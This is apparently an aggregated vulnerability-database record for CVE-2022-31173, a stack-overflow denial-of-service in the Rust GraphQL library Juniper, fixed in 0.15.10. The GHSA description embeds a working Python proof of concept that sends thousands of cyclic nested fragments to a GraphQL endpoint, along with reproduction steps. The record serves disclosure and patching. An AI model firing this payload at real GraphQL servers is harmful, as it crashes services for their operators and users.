{"id":"CVE-2022-31173","aliases":["CVE-2022-31173","GHSA-4rx6-g5vg-5f3j","RUSTSEC-2022-0038"],"related":["RUSTSEC-2022-0037","GHSA-xq3c-8gqm-v648"],"kind":"vulnerability","state":"published","title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","summary":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","source":"cvelist"},{"lang":"en","text":"### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i < max_size-1 else perms[0]\n    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n  ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n  'Content-Type': 'application/json',\n}\n\ntry:\n    response = requests.request('POST', url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda","format":"markdown","source":"ghsa"},{"lang":"en","text":"Deeply nested fragments in a GraphQL request may cause a stack overflow in the server.","format":"markdown","source":"rustsec"},{"lang":"es","text":"Juniper es una biblioteca de servidor GraphQL para Rust. Las versiones afectadas de Juniper son vulnerables a una recursividad no controlada resultando en un bloqueo del programa. Este problema ha sido abordado en versión 0.15.10. Es recomendado a usuarios actualizar. Los usuarios que no puedan actualizar deberán limitar la profundidad de la recursión manualmente","source":"nvd"}],"published":"2022-07-28T12:00:00.000Z","modified":"2026-10-12T18:00:04.409Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-674"],"affected":[{"ranges":[{"version":"< 0.15.10","status":"affected"}],"vendor":"graphql-rust","product":"juniper","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.15.10"}],"ecosystem":"crates.io","package":"juniper","purl":"pkg:cargo/juniper","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0-0","status":"affected","fixed":"0.15.10"}],"ecosystem":"crates.io","package":"juniper","purl":"pkg:cargo/juniper","source":"rustsec"},{"ranges":[{"status":"affected","fixed":"0.15.10"}],"vendor":"juniper_project","product":"juniper","cpe":"cpe:2.3:a:juniper_project:juniper:*:*:*:*:*:rust:*:*","source":"nvd"}],"references":[{"url":"https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","rustsec","nvd"]},{"url":"https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28","tags":["release-notes","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31173","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/graphql-rust/juniper","tags":["package"],"sources":["ghsa"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2022-0038.html","tags":["advisory","web"],"sources":["ghsa","rustsec"]},{"url":"https://crates.io/crates/juniper","tags":["package"],"sources":["rustsec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-04-22T15:40:10.104Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-31173","url":"https://www.cve.org/CVERecord?id=CVE-2022-31173","licence":"CVE Terms of Use","modified":"2025-04-22T17:46:34.192Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4rx6-g5vg-5f3j","url":"https://github.com/advisories/GHSA-4rx6-g5vg-5f3j","licence":"CC-BY-4.0","modified":"2026-02-04T03:36:46.785Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2022-0038","url":"https://rustsec.org/advisories/RUSTSEC-2022-0038.html","licence":"CC0-1.0","modified":"2026-10-12T18:00:04.409Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-31173","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31173","licence":"Public domain","modified":"2026-06-17T04:44:57.583Z"}],"updatedAt":"2026-11-25T22:58:13.341Z","epss":{"score":0.01721,"percentile":0.78177,"date":"2026-12-01T12:00:22.000Z"}}